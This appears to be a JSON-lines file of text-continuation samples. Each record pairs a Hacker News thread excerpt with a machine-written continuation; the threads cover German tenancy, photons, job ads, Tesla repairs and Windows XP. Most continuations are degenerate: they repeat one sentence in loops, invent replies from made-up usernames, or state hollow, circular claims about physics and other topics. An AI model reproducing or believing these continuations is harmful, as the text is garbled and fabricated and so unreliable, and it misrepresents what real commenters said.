isn't interesting for the method per se\nbut the ease of keeping and analyzing said data over a period of time.\n\n------\ndeepGem\nThis is very cool. A very useful demonstration of what you can do with R, for\nthose of us who are non-researchers.\n\n------\nbenarent\nThanks for the up-votes everyone. I have a coupon code for anyone interested\nin getting Saus book / e-book.\n\n~~~\ndiego\nI'm interested if you still have it. If it's gone I may still buy the book, it\nlooks very promising.\n\n~~~\nbenarent\nSend an e-mail to me ben@airbrake.io.\n\n \n\nHow to say nothing in 500 words - irahul\nhttp://web.archive.org/web/20101124040620/http://www.apostate.com/how-say-nothing-500-words\n\n======\nCyranix\nIf I ever go back to language teaching, I think I've just come up with an\nengaging and rewarding lesson:\n\n \n \n * assign students the task of writing an N-word or -page paper and explicitly instruct them to use as much fluff as possible (creatively, i.e. not using \"really\" x100)\n * allow them to read each other's papers and vote on the most vapid essays\n * assign a"} +{"output_text": " impossible to get permission for the same dog.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nIf you're renting a place, you're renting a place. If you're renting a place\nwith a pet, you're renting a place with a pet.\n\n~~~\njoshu\nI guess I'm not understanding the point of this.\n\nIf you're renting a place, you're renting", "input_text": " smaller apartments (often intended for students) come usually with\nfurniture\n\n\\- The deposit has to be put on a special, locked bank account. The money can\nonly been withdrawn if both sides tell the bank in writing that the rent\ncontract is over\n\n\\- Depends on the size of the pet\n\n~~~\npluma\nActually IIRC the law was changed so tenants only have to make sure the walls\nhave a neutral appearance (i.e. usually white woodchip wallpaper) when moving\nout, so they're pretty much free to decorate the place as they want as long as\nthey don't outright demolish or damage the walls.\n\nThere used to be a requirement for tenants to renovate the apartment (i.e.\nthorough cleaning, new wallpaper and white paint) before moving out but that\nrequirement has been reduced to \"besenrein\" (literally \"broom clean\", i.e. no\nrubbish or dirt). Damage to windows and existing fittings etc is deducted from\nthe deposit but tenants have the right to a formal inspection with a signed\nreport to avoid dubious claims.\n\nThe \"Kautionskonto\" (the special bank account) is widespread but not\nuniversal. However there are also co-operatives that invest your deposit and\nactually pass on the interest to you when you move out (these apartments are\nrare though).\n\nSome specifics on pets: fish and caged pets (e.g. rodents) are generally\nallowed within normal quantities. Cats require approval but disapproval is\npractically impossible unless there are very good reasons. Dogs always require\napproval and disapproval is more likely. Many contracts explicitly allow\nspecific pets (including dogs). If another tenant was given permission for a\ndog, it's hard or"} +{"output_text": " photons carry more energy.\n\nThe photon is a particle, but it's also a wave. The wave nature of the photon\nis what allows it to be both a particle and a wave.\n\n~~~\namelius\n> The photon is a particle, but it's also a wave. The wave nature of the\n> photon is what allows it to be both a particle and a wave.\n\nI'm not sure I understand this. Can you explain it a bit more?", "input_text": " we can confirm that we're detecting single\nphotons at the detector, and you can even confirm that each photon travels\nthrough one slit or the other... See [https://en.wikipedia.org/wiki/Double-\nslit_experiment](https://en.wikipedia.org/wiki/Double-slit_experiment)\n\n~~~\nAnimalMuppet\nOne nit: A phonon is a vibration of a lattice, not light.\n\n~~~\nURSpider94\nYep, that should have said \"plasmon\". I messed up all of my comments on this\nthread. A plasmon isn't technically light either, it's an oscillation of the\nelectric field in a conductor -- but it has wave/particle duality like a\nphoton.\n\n------\nemerongi\nIt's hard to grasp what was really captured on that image, but this still\ndoesn't rule out the pilot wave theory. I think it's misleading to call it a\nphotograph of light \"as both a particle and wave\".\n\n------\namelius\nI have a question about QM, which perhaps somebody here can answer: Is\nquantization an inherent property of the photon, or is it a property of the\nmaterial (or of the interaction with it)?\n\n~~~\nURSpider94\nThe other answers posted here are not quite right. Light energy is indeed\ninherently quantized, and a photon is one quantum of light. In other words,\nyou can't have a half-photon of light, only even multiples.\n\nEinstein wrote the equation \"E = h*(nu)\", where h is the so-called \"Planck's\nconstant\", and nu is the frequency of light. Translated, this means that each\nphoton carries an amount of energy proportional to its frequency, higher-\nfrequency"} +{"output_text": "stavros.io/posts/expounding/](https://www.stavros.io/posts/expounding/)\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nI can't imagine that I would ever want to read a long text that was\n\"expounded\" in this way.\n\n~~~\nStavrosK\nI think it's a good way to read long texts, especially if you're not familiar\n", "input_text": "\n[0] [http://www.bigfootjs.com](http://www.bigfootjs.com)\n\n~~~\nStavrosK\nThanks for the feedback, the tiered approach is also something I considered,\nalthough with a different method. You would tag things with a number from 1\nfor outermost to N for innermost and then let the user expand to the specific\nlevel. I haven't yet tried that concept, but I probably will soon!\n\n------\npolm23\nThis is an old idea in Hypertext called Stretch Text (since 1967!):\n\n[https://en.wikipedia.org/wiki/StretchText](https://en.wikipedia.org/wiki/StretchText)\n\nEvery so often someone hears about the old hypertext theory and implements a\nJavascript or CSS version, but this is honestly one of the nicest\nimplementations I've ever seen. Good work!\n\n------\nKinnard\nThis seems like something that could impact the nature of composition. I\nwonder if writers would write differently if they knew they could \"expound\".\n\n~~~\nharel\nSurely if you write with expounding in mind you'll take that into\nconsideration in your text. You DO write the expanded text after all...\n\n~~~\nKinnard\nNo, I don't believe I do. I think this could be implemented into a blogging\nplatform\u2014 a new medium.\n\n~~~\nponyous\nLol yeah, I feel like I want more examples to read. Easy way to filter data\nyou already know. I think I could learn so much faster with this if texts are\nwritten properly.\n\n~~~\nStavrosK\nI used it in \"normal\" usage here:\n\n[https://www."} +{"output_text": "ive\" to \"punishment\".\n\n~~~\nersii\nI'm not sure if you're being serious or not.\n\nI'm not sure if you're being serious or not.\n\nI'm not sure if you're being serious or not.\n\nI'm not sure if you're being serious or not.\n\nI'm not sure if you're being serious or not.\n\nI'm not sure if you're being serious or not.\n\nI'm", "input_text": " others living outside of the region would think that.\nSweden is very good at only extolling her perceived \"virtues\" and sweeping the\nrest under the rug. Waaaay under the rug.\n\nThere is a real moral and intellectual superiority among many Swedes that I\nfind deeply distasteful. From environment to politics to how to bag your\ngroceries, and yes--even close a door properly, the \"Swedish way\" is always\npromoted as the only \"right way.\"\n\n~~~\ndijit\nOut of curiosity where do you live? Perhaps this is a regional thing but down\nhere in Skane people are very humble about being Swedish, almost as if they\nare ashamed of some sort of history.\n\nThey certainly wouldn't describe something as \"the Swedish way\" unless it was\nsomething about how the police are ineffective due to bureaucracy or something\nsimilar.\n\n~~~\nkalleboo\nIt seems a lot more complicated than either your view or the grandparents. If\nyou watch Fredrik Lindstr\u00f6ms \"V\u00e4rldens Modernaste Land\" it explores the\nquestion of the conflicting Swedish self-image pretty well (and the history of\nhow it became what it is today), but I wouldn't know how to summarize it in a\nHacker News comment.\n\n------\nersii\nThere seems to be plenty here that like the idea of lowering the Value Add Tax\non repairs. Let me ask: Why stop at 12.5% VAT for repairs? If you'd go all the\nway down to 0% - the repairs could potentially be up to 25% cheaper than they\nare now.\n\n~~~\nsliverstorm\nPerhaps if they make repair _too_ sweet, abuse will skyrocket asymptotically.\n\nOr, perhaps it transforms from \"incent"} +{"output_text": " to change the laws to allow for more research to be done\non these types of medications.\n\n~~~\nBroken_Hippo\nI agree. I think the problem is that the US is a bit behind in this. I think\nthe US should be more like the UK, where the government is involved in\nresearch.\n\n------\njoshstrange\nI'm not sure why this is on the front page. I'm not sure why this is even\nbeing", "input_text": "a different product) was described as working by shredding\nsperm by an electrical charge process as they went past the contraceptive that\nlined the walls of the vas deferens. Vasalgel makes no such claims._\n\n[https://www.parsemusfoundation.org/projects/vasalgel/vasalge...](https://www.parsemusfoundation.org/projects/vasalgel/vasalgel-\nfaqs/)\n\n------\nearlyriser\nI remember reading about this maybe 6 years ago. What was memorable was that\nthe gel was even cheaper than the syringe. It's sad how slow these things move\nand that we're not going to have that in North-America for a good time.\n\n~~~\nBroken_Hippo\nI wish it could go faster, but the truth is this is exactly the sort of thing\nthat should go slowly. It is much better for birth control to have a certain\neffectiveness, after all. Since this is an injection, probably best to have\ngood tests with longevity as well. It isn't bad to go back every couple years\nfor this, but this is the sort of information one needs to know upfront.\n\nUnfortunately, finding this initial stuff out takes time.\n\n~~~\nTheAdamAndChe\nA problem in the US is that the company that wants to sell this is the company\nthat needs to pay for the studies required to make it legal. However because\nit is so cheap, it's difficult for the company to make a profit. The same\nthing can be found with many supplements. For example, N-acetylcysteine has\nshown to be helpful in several forms of addiction and mood disorders, but\nbecause it is so cheap, no company will front the money needed to make it a\nmedication. We need"} +{"output_text": " into a\nmanufacturing process, and is used to design and build the world's first\nsynthetic organism.\n\nWe are also developing a new generation of synthetic biology tools: a\ndistributed, cloud-based, and highly automated platform for the design,\nconstruction, and optimization of biological systems.\n\nWe are looking for talented, curious, and self-motivated software engineers\nwho are excited to work on the most advanced software development platform in\nthe world.\n\nIf", "input_text": "wcm9kc...](https://careers.rolepoint.com/#job/ahBzfnJvbGVwb2ludC1wcm9kchALEgNKb2IYgICAk5LAowkM)\n\n==RolePoint==\n\nWe're building a company that allows you to work on interesting projects in a\nstimulating, social environment. We work on flexible hours, offer unlimited\nvacation days, go out for weekly team activities and once a year bring the\nwhole company together on an international gathering to reconnect outside of\nour work.\n\nCheck out more roles at\n[https://careers.rolepoint.com](https://careers.rolepoint.com)\n\n------\ncdolan23\nAmyris, Inc. | Software Engineer | Emeryville, CA | Full-time, ONSITE,\n[http://amyris.com](http://amyris.com)\n\nWe are searching for talented, curious, and self-motivated developers to join\nour software engineering team in building the most advanced production-scale\nsynthetic biology platform on the planet. R&D at Amyris is a highly\nmultidisciplinary effort, where we need brilliant contributions from every\narea of the life sciences and engineering disciplines in order to take\nprojects from concept to market.\n\nFrom hacking directly on DNA in the lab to full scale factory production,\nevery aspect of our work is facilitated and accelerated by software and\nhardware automation. Our tools integrate the activities of scientists,\nengineers, and industrial robots to enable the rapid optimization of genetic\ndesigns and laboratory processes.\n\nAmong the tools we have developed are a CAD/CAM system for genetic\nengineering: a compiler toolchain whose target architecture is life itself.\nThis stack physically integrates high level genetic modules"} +{"output_text": "$ a month?\n\n~~~\nfnando\nI'm not sure what you mean.\n\n~~~\ngcb\n30$ a month for a service that is already free?\n\n~~~\nfnando\nI'm not sure what you mean.\n\n~~~\ngcb\nI mean, you are charging for a service that is already free.\n\n~~~\nfnando\nI'm not sure what you mean.\n\n~~~\ngcb\nI mean, you", "input_text": " of\narchive repos. You are allowed (even on free account) unlimited view-only\nrepositories and they charge mainly by space/active repos.\n\nHowever I still see the value in this service, and I like it.\n\n------\nswah\nJust curious... are you brazilian?\n\n~~~\nfnando\nYes, I am! :D\n\n------\ntuna\nI liked that I dont need to do this setup myself and that I can integrate with\nS3.\n\n~~~\nfnando\nExactly my point! People can always set up their own stuff. The question is\n\"is it worth?\"\n\n------\nCreate\n\n\n~~~\nthomasfl\nGitorious is both a free site and an open sourced project web app. Strange\nthis hasn't been mentioned before in this thread.\n\n------\nveyron\nIs there a way to link this with a project management tool like basecamp?\n\n~~~\nfnando\nNot yet! Basecamp and some others tools like Pivotal Tracker will be\nintegrated at the right time. ;)\n\n------\nshapeshed\nGit is simple enough to set up with some basic unix skills and with something\nlike gitosis you can manage access to repos. GitHub has added many more\nfeatures and make collaborating super simple. Totally worth it IMHO. Git is\nnot just Github though.\n\n------\ntommoor\nGreat idea, well executed - im sure you will do well!\n\n------\nLimes102\nReally beautiful and easy to use. Very impressed!\n\n------\nn9com\nfyi - it's already been done few years ago, \n\n------\ngcb\n30"} +{"output_text": " is for the SIM card itself, not the account.\n\n~~~\nexpertentipp\nI know, but the ID is required for the account.\n\n------\njoshstrange\nI'm not sure why this is a surprise. I've been in Japan for a few years now\nand I've never had a problem with my SIM card. I've had a few different\nproviders and they've all been great. I've never had to worry about my SIM\n", "input_text": "\n~~~\ntunap\nThis is why 'free' online services require your mobile number to activate &\n\"protect access\" to your account. Sure it works for that purpose, but more\nimportantly, for data/digital tracking, the modern mobile has become the new\ntracking super-cookie to your digital ID.\n\n~~~\nreitoei\n> the modern mobile has become the new tracking super-cookie to your digital\n> ID\n\nNever a truer word spoken.\n\n------\nJazCE\nThis is terrible news. I wanted to get a sim card for Japan, but you can only\nget a pocket wifi device, which isn't so bad, but not as straightforward as\nswapping your sim out for a local sim as i do when in the states or malaysia.\n\n~~~\nhamishforbes\nThat's not true. You just can't get a sim card with voice/SMS capability.\nForeigners can get data only SIMs no problem, most airports will sell them\n(often out of a vending machine) e.g.\n[https://t.iijmio.jp/en/](https://t.iijmio.jp/en/)\n\n~~~\njessriedel\nGiven VOIP, what is the rationale of making this distinction?\n\n~~~\ntangent128\nSo voice SIMs can't be used as throwaway cell numbers, I'd guess.\n\n------\nexpertentipp\nAn ID document and proof of address are already required in Germany when\nbuying SIM card directly from mobile network operators (i.e. Telekom, O2,\nVodafone). Apparently they plan to apply the same to resellers and virtual\noperators.\n\n~~~\njeffasinger\nThe ID requirement"} +{"output_text": "\n------\njoshu\nI think you're looking for a \"k-means\" clustering algorithm.\n\n~~~\nesflow\nThanks, I will look into it.\n\n------\nesflow\nI am looking for a way to cluster the apartments in a way that the clusters\nare similar in size, distance, etc.\n\n~~~\nesflow\nI found this:\n[http://www.cs.cmu.edu/~ark/papers/kmeans", "input_text": " order to normalize the data. E.g., this one is at the\n63rd percentile in size, 20th in distance, etc. This doesn't work so well if\nyou have lots of 0s in your data.\n\nOr you can find the min and max of each and divide by the max. This one is 42%\nof max, etc.\n\nIn each case you're trying to normalize diff parameters to represent something\ncomparable (x/max, percentile, etc) so you can combine them. You can also do\nintermediate operations like take the logs or take the z score if you're\ntrying to muffle the effects of outliers.\n\n~~~\nesflow\nThanks a lot, I will try it and test how well it works.\n\n------\nxaedes\nThe problem you describe is known as \"multi objective optimization\".\n\nNormalizing the input data to similar ranges usually helps, but there is no\nsingle golden rule how to weight. It depends on what you want to accomplish.\n\nBut regardless of any weighting in multi objective optimization problems there\nis a subset of all items (apartments in your case) that is better then all the\nitems not in this set. This set is called the \"pareto front\". There are\nmethods to compute this set.\n\nYou can't decide which item of the pareto front is better than another; it is\na rock, scissors, paper situation. But the pareto front can exclude a lot of\nitems, that you then don't need to consider. These items are worse in every\naspect (optimization objective) than any item from the pareto front.\n\nAs a computer science student we often used population based optimization\nmethods for dealing with multi objective optimization. For example ant colony\noptimization or evolutionary algorithms.\n"} +{"output_text": "'re going to use the word hack, you should use it correctly.\n\n~~~\ngph\nI'm not sure what you mean by \"correctly\".\n\n~~~\ntranspy\nI mean that you should use the word correctly.\n\n------\njoshstrange\nI'm not sure why this is getting so much attention. I'm not a celebrity, but\nI've been a victim of a similar attack. I had my iCloud account compromised\nand my email", "input_text": " iCloud accounts\n\nWhy do people still parrot this line? Unless I missed some later revelation,\nthis was barely even Apple's fault. They may have had some subpar security\npractices, but it's not like their system was utterly compromised like this\nmakes it sound.\n\nI'm not an Apple fan, but they don't deserve the ignorantly parroted line that\nthey let celebrities phones get compromised. And I would especially expect\nmore from the New York Times. That statement is almost libel.\n\n~~~\nakamaka\nIf the claims that they ignored warnings are correct, I would indeed lay most\nof the blame on Apple:\n\n[http://iphone.appleinsider.com/articles/14/09/25/researcher-...](http://iphone.appleinsider.com/articles/14/09/25/researcher-\naccuses-apple-of-ignoring-icloud-brute-force-attack-for-6-months)\n\nIt may be the case that celebrities chose poor passwords, but how can you\nblame them? Did Apple enforce strong passwords? Did it allow an excessive\npassword retry rate? Did it fail to follow up on warnings from security\nresearchers?\n\nUnless the answer to each of those questions is \"no\", it is entirely fair to\nblame them.\n\n~~~\ngph\nI suppose what mostly bugs me is using the word hack. Calling something that\nappears to be targeted social engineering a hack seems wrong to me. I guess\nthe definition of hacking has been rather fluid in recent years. Course that\nword has been redefined and misused for a very long time so I guess I\nshouldn't be surprised.\n\n~~~\ntranspy\nIf you"} +{"output_text": " be a problem with the car, but\nwith the brakes. The dealer can't fix it, because they don't have the\nnecessary tools.\n\nI'm not sure if it's a problem with the car, or with the dealer.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. The author is complaining\nthat Tesla doesn't have a service manual for their cars and that they don't\nhave a working OBD-II", "input_text": " an\nelectric. As a bit of a car-geek myself, I'll admit that electrics are rather\n\"boring\" and for the same reason I'm not so interested in the newer super-\ncomputerised vehicles either; it's the noisy, smelly, smoky, aggressive,\nobnoxious-mechanical-monster nature of petrol/diesel engines that's the really\n\"fun\" part. Batteries, electronics, and motors just don't evoke quite the same\nfeeling.\n\n~~~\nAmezarak\nAt least for me, it's not about souping the car up, it's about doing repairs\nand maintenance myself because a) it's cheaper and b) it's more convenient.\n\nIf I knew I was going to have to drive a car to the dealership anytime\nsomething went wrong, I would not buy that car. It's a big hassle (especially\nif the dealership is any distance away) and almost always outrageously\nexpensive for anything outside of warranty. And if it's something that I can't\ndo myself, I'd rather take it to a cheaper local mechanic I know and trust.\n\nAccording to the article, Teslas only have service manuals available in\nMassachusetts (and there only on an extremely expensive subscription basis),\nno independent shops, and doesn't have a working OBD-II port. That sounds like\na nightmare to me.\n\nGranted, it's way out of my price range anyway. ;)\n\n~~~\nmcv\nSame here. We recently bought a second hand Prius at an official dealer\n(because new is unreasonably expensive, we do care about emissions, and I\nthink we got some warranty from the official dealer). Half a year later, the\nbrakes need to be replaced. Turns out not to"} +{"output_text": "'m not.\n\n------\njoshu\nI'm a designer. I'm not a programmer.\n\nI'm not a programmer because I don't have the time to learn it. I'm not a\nprogrammer because I don't have the time to write code. I'm not a programmer\nbecause I don't have the time to learn it.\n\nI'm not a programmer because I don't have the time to learn it.\n\nI'm not a programmer", "input_text": " from other people and their process (like with simple todo app,\nCultured Code produces a lot of sketches and mockups\n and one of other Rails\nRumble attendees described their process:\n[http://www.thevisualclick.com/notebook/2010/10/2010-rails-\nru...](http://www.thevisualclick.com/notebook/2010/10/2010-rails-rumble-the-\ndesign-process-of-commendable-kids/)\n\nC) - In our company we usually have 2-3 person teams, where one of them is a\ndesigner, which is something I would recommend. Personally I think the best is\nif the designer can also implement the design, because Photoshop mockup is not\nthe actual design, the app or it's interface is. For best result, you need to\nbe charge of the whole interaction.\n\nD) - I'm not that sure which way around I got started, I had some classical\narts education as a kid, and later started making websites and developed some\nweb services. I'm quite bad programmer, altough in addition to html&css I can\nhandle javascript, rails and php.\n\nI think the first step is to know what's is great and what isn't so you know\nhow well you're doing in your own projects. So develope your taste by\nsurrounding yourself with great design. And like in any other learning, the\nkey is just practice. If you have coded hundreds of features, then by the same\ntime I might have done dozen of designs.\n\nFor me the hardest part still finding the right process for some cases.\nSometimes I'm able to see the whole thing right way, and sometimes I"} +{"output_text": "\n~~~\njotm\nI'm not saying it's doomed, but it's not going to be a huge success.\n\n------\njotm\nI'm not sure if this is a good idea, but I'm going to try it.\n\nI'm going to try to get a Huawei phone, and use it as my primary phone. I\ndon't care if it's a bad idea, I'm going to do it anyway.\n\nI'm going", "input_text": " election problems; they're still nothing like the fraudulent elections in Russia/China/etc.\n \n\n\\- We have healthy opposition parties.\n\n\\- We actually believe the US is a work in progress, not \"perfect as it is\"\n(see: \"a more perfect union\").\n\nSure there's a lot of work to do. And I'm sympathetic to the fact that China\nand Russia face different challenges than we do. But I absolutely refuse to\naccept the assertion that the US is anywhere near the same point on the\nauthoritarian spectrum as they are. Such comparisons are facile, ignorant, and\nreinforce a nihilistic vision of Western, classically liberal values that is\nat the root of the rise of nationalism and authoritarianism -- which is itself\nresponsible for the destruction of many millions of lives across the world.\nThese things are not the same, any more than Democrats and Republicans are the\nsame. One is clearly better than the other, and it is literally a matter of\nlife and death that we figure that out.\n\n------\njotm\nIf only Huawei devices will use it, it's doomed. I've said it before and got\ndownvoted, but here's the truth again: Android's app ecosystem is what makes\nit popular, followed by the huge number of manufacturers using it.\n\nMicrosoft failure with Windows Phone was partly because even after\nincentivizing developers, they still could not get a critical mass of apps on\ntheir platform. Plus any new apps were not getting WP versions along with\nAndroid/iOS.\n\nHuawei is huge, but not outside China, for consumers. Couple that with\neveryone being wary of their spyware and whatnot. Samsung tried this at some\npoint with Tizen, but quickly gave up, as well.\n"} +{"output_text": " with lots of magic and no documentation.\n\n* the documentation is not very good, and the examples are not very good.\n\n* the documentation is not very good, and the examples are not very good.\n\n* the documentation is not very good, and the examples are not very good.\n\n* the documentation is not very good, and the examples are not very good.\n\n* the documentation is not very good, and the examples are not very good.\n\n", "input_text": " want to change the appearance of your component, do you\nwant to modify styling logic in two places or one?\n\n~~~\nandrewingram\nOne, that's why I style inline :)\n\n~~~\nnailer\nDo you mean inline in CSS / style tags, avoiding visual HTML classes (in which\ncase we're in agreement - there's one way to edit how something looks, though\nstyle tags have other issues) or combining either of those with visual HTML\nclasses like this library uses?\n\n~~~\nandrewingram\nOkay, I think we're in agreement and are just crossing wires a but. The main\nreason i'm loosely okay with Semantic UI is that I just see it as using HTML\nfragments as building blocks rather than using JavaScript components. I\nwouldn't advocate it for anything elaborate, but I think it can work well\nwithin a certain problem space.\n\n------\njwr\nI use Semantic UI in production on\n[https://partsbox.io/](https://partsbox.io/) and can list some upsides and\ndownsides.\n\nOn the positive side:\n\n* very complete, with good form styling, and lots of widgets you will use often, which is especially important for larger apps,\n\n* the default theme is mature and has good usability, without the crazy \"oh, how flat and invisible our UI is!\" look.\n\n* the class naming plays well with React (I use ClojureScript and Rum) and looks good in your code,\n\nOn the negative side:\n\n* the CSS is huge and there is little you can do to trim it down,\n\n* the JavaScript code is not Google Closure-ready, so it's a drag compared to my ClojureScript codebase: large and unwieldy,"} +{"output_text": " far as I know, there are no security bugs in any of those versions.\n\nI have no reason to believe that any of the later versions of Windows are\nmore secure than XP.\n\nI have no reason to believe that any of the later versions of Windows are\nmore secure than XP.\n\nI have no reason to believe that any of the later versions of Windows are\nmore secure than XP.\n\nI have no reason to believe that any of the later versions of", "input_text": " and your OS has not had support from Microsoft since 4/8/14\\. Your\nsystem is in desperate need of an upgrade, which could help prevent viruses.\nThe longer you operate an outdated system, the likelier you are to encounter a\nvirus.\n\n~~~\ngraycat\nDeleted.\n\n~~~\ngruturo\nWhile I agree with you on Windows versions later than XP being markedly worse\nfrom a technical guy's usability perspective (actually Windows Server 2003 +\nnlite/ xplite was the best client OS setup I ever used ), you are denying\nyourself a very significant amount of security patches and I would define this\nbehaviour as a bit irresponsible of your PC only contains your own data, and\npossibly illegal if you have any customer personal data or payment\ninformation. I hate the newer Microsoft OSes as much as you but run Windows 10\n(plus a healthy amount of Non-Microsoft OSes). At least upgrade your browser\nbecause that's the main entry vector for malware nowadays, you will find that\nrecent versions of Firefox are quite enjoyable - latest one even started\nrunning some tasks in dedicated processes (just experimentally for now)\nresulting in a more responsive interface.\n\n~~~\ngraycat\nI have no solid information at all that indicates that any Microsoft operating\nsystem is more secure than Windows XP SP3 with the latest Microsoft patches.\nNone. No such information at all.\n\nFor all I know, all Microsoft patches for later Microsoft operating systems\nare only for bugs in those operating systems and not for bugs in the XP\nversion I am running.\n\nI have no even reasonable information that there are any security bugs in the\nXP installation I have.\n\nI have no reason to believe that Windows 7, 8, 8.1, or 10 is more secure than\nXP; as"} +{"output_text": ".\n\n------\njoshu\nI think the NYT is a great example of a company that has a great product, but\nis not a great company.\n\n~~~\njoshu\nI think the NYT is a great example of a company that has a great product, but\nis not a great company.\n\n~~~\njoshu\nI think the NYT is a great example of a company that has a great product, but\nis not a", "input_text": " has a certain\nunity within the chaos. But it's not really chaos. The content is the layout.\nYou won't find any other News organization who understands design more than\nNYT. They let the content design the layout, not the other way around.\n\nAndy turned NYT into a Wordpress blog. :|\n\nI'll give him credit for the work though, but I personally think NYT is an\nexception. But go ahead, every other news website, you have Cart Blanche.\n\ncc: Khoi Vinh\n\n~~~\nscott_s\nI feel the same. I think the NYT's online page is fantastic - so much so that\nI pay $16 a month for it. I think they do an excellent job of laying out pages\nonline yet still feeling like a _newspaper_. I _like_ looking around the page\nfor different stories, just as I would in a newspaper page. It's engaging, and\nI can't help but scan the whole page, read the headline, check out the picture\ncaptions.\n\nWhen I look at his blog-style page, my eyes just glaze over the headlines.\n\nThe NYT App on the iPhone is basically his mobile mockup. And I've found that\neven on my iPhone, I'd rather look at the proper front page.\n\n~~~\nrationalbeats\nI thought it was $8 a week?\n\n~~~\njonknee\nThat's for the \"All Access\" package which nets you a tablet app and a\nsmartphone app. The cheapest package is $3.75 a week.\n\nI would have subscribed, but they gave me a free year after introducing the\npaywall.\n\n~~~\nrationalbeats\nActually I did not realize that. Thanks for that"} +{"output_text": ".)\n\n~~~\npeterwwillis\nI don't think it's a matter of over-representation. I think it's a matter of\nunder-representation.\n\n~~~\nsn9\nI don't think it's a matter of under-representation either. I think it's a\nmatter of over-representation.\n\n~~~\npeterwwillis\nI don't think it's a matter of over-representation either. I think it's a\nmatter", "input_text": " that\n> inflict maximum company damage.\n\nHow did he inflict damage on the company?\n\nWhoever _leaked_ this _internal memo_ did the damage, but I haven't seen any\nwitch hunt or firing in that regard.\n\nStrange, eh?\n\n------\njoelrunyon\nWhy is this on the second page with 246 points in 1-2 hours? Seems strange...\n\n~~~\nmd224\nNot sure if you'll see my reply, but this happens often to HN submissions on\npolitically charged topics. The topic gets flagged to death. It's been like\nthis for a long time.\n\n~~~\njoelrunyon\nWhy wouldn't I be able to see your reply?\n\n------\nDowwie\nWhat are the chances anyone at Google read the Memo as carefully as this\nauthor did before persecuting James Damore?\n\n~~~\nDiederich\nI suspect the contents of the memo had little to do with Google's official\nreaction to it.\n\n------\nturc1656\nStop the presses. You mean to tell me the major media organizations used a\nmisleading headline and description for something highly politicized?! I'm\nshocked. Shocked, I tell ya.\n\n------\npeterwwillis\nLanguage and gender nit-pick: having men and women at 100% parity is not\ngender diversity, it is gender-binary. You would have to hire a lot more non-\nbinary-gendered people for it to be diverse.\n\n~~~\nsn9\nI honestly wouldn't be surprised if non-binary-gendered people are _over-\nrepresented_ in tech.\n\n(This is just an impression I have based on things I've read in the past, so I\ncan't be sure"} +{"output_text": " Embedded software engineers (C, C++, Python, embedded Linux)\n\n* Hardware engineers (RF, SDR, FPGA, DSP, microcontrollers)\n\n* Test engineers (hardware, firmware, software)\n\n* Project managers\n\n* Electrical engineers\n\n* Mechanical engineers\n\n* Aerospace engineers\n\n* Software engineers (full-stack, back-end, front-end)\n\n* Product managers\n\n* Operations engineers\n", "input_text": "/UI/Product Design\n\nYou can see all our roles at:\n[https://www.lovepopcards.com/pages/jobs](https://www.lovepopcards.com/pages/jobs)\n\nI'm Max, and I head up product at Lovepop. we combine hardcore engineering\nwith paper to make amazing 3D greeting cards and invitations. We're building a\ncustomization engine on top of of our product and are building out a team\naround it. We closed a $6m A round in November and have a very fast growing,\nsurprisingly large e-commerce/direct-to-consumer business.\n\nOur interview process starts with screening directly with myself or our head\nof engineering, depending on the role may involve a (small!) piece of homework\nand a few hours with various members of our team. We don't believe in coding\nwhiteboards!\n\nReach out with q's! max (at) lovepopcards.com\n\n------\ngedmark\nAstranis (YC W16) | San Francisco, CA | Full-Time | Onsite | US Citizen or\nGreen Card\n\nWe\u2019re building small, low-cost telecommunications satellites. Our mission is\nto help bring the 4 billion people online who are without internet. And to\npull it off we have to reinvent microwave-frequency radios in space using\nSDRs.\n\nWork with engineers from SpaceX, Google, Qualcomm, and Planet Labs who have\nflown things in space before. Well-funded, but still a small team that moves\nfast. No prior space experience needed, you just need to enjoy getting your\nhands dirty with real hardware and be ok with struggling to do things that\nseem impossibly hard.\n\nRoles we\u2019re hiring for include:\n\n*"} +{"output_text": " it's for a bank or a government agency\nis a boring job, but it's a job that I'm very happy with.\n\n~~~\ndeutronium\nI agree, I think it's more about the people you meet.\n\nI've met a lot of people at Google, and I've met a lot of people at other\nplaces. I've met a lot of people at my current place of work, and I've met a\nlot of people at my", "input_text": " teach you anything. You have to teach yourself._\n\nSounds _exactly_ like a library, except (I presume) extremely expensive. I\nonly went to college because I assumed (correctly) that at least a few great\nminds would be there. What's the upside to Berklee?\n\n~~~\ncoliveira\nthe same: \"few great minds would be there\"\n\n------\nsayemm\nI freaking love this, thanks for posting it\n\nA ton of great lines in there, as Derek Sivers is an amazing writer jam-packed\nw/ wisdom much like PG, but this is my most fav one out of the pack:\n\n\"But the casual ones end up having casual talent and merely casual lives.\"\n\n------\ntomjen3\n>When you emerge in a few years, you can ask someone what you missed, and\nyou'll find it can be summed up in a few minutes.\n\n>The rest was noise you'll be proud you avoided.\n\nYes -- almost, but you will properly feel that there are one or two things\nthat you didn't experience that you will miss not being a part of.\n\n~~~\ndreaming\nExactly. Important not to overlook the benefits of meeting like minded people\nwho can help inspire you, or just keep you sane.\n\n------\ndeutronium\nReally loved that post.\n\nEspecially the quote \"The casual ones end up having casual talent and merely\ncasual lives.\"\n\n~~~\nGianteye\nI'm not sure about that. There are plenty of boring jobs to be had, and quite\na few of them are to be had at Google. I suppose banality and life\nsatisfaction aren't mutually exclusive, but it's the case for me. Doing\ncomputational database analysis whether"} +{"output_text": " it was also much easier to debug, since you could see the\npatterns in the debugger.\n\n------\njedberg\nI'm curious if this is a problem with the extension or the browser.\n\nI've been using the extension for a few months now and it's been pretty\nconsistent. I'm not sure if it's the extension or the browser that's slow.\n\n~~~\njedberg\nI'm curious if this is a problem with the extension", "input_text": " that the extra work\nisn't especially slowed down because of lack of GPU.\n\n------\nerikrothoff\nCool to see our extension tested (an RSS reader). What's great with this is\nthat it gives us a metric to work towards improving. I've always been under\nthe assumption that \"cpu is cheap\", but it does have real effects.\n\n------\nhelltone\nIf the author is here, can I suggest testing the Dark Reader extension too?\n\n~~~\nmostlystatic\nHere are the test results for Dark Reader: [https://www.debugbear.com/chrome-\nextension-performance-looku...](https://www.debugbear.com/chrome-extension-\nperformance-lookup?search=dark%20reader)\n\nI also briefly mention it in the section on FCP, explaining why it makes sense\nfor the extension to use render-blocking content scripts.\n[https://www.debugbear.com/blog/2020-chrome-extension-\nperform...](https://www.debugbear.com/blog/2020-chrome-extension-performance-\nreport#page-rendering-delays)\n\n------\nthomasahle\n> The Avira Browser Safety extension contains a website allowlist with 30k+\n> regular expressions. When the user navigates to a new page Avira checks if\n> the page URL is in that allowlist\n\nI wonder who thought 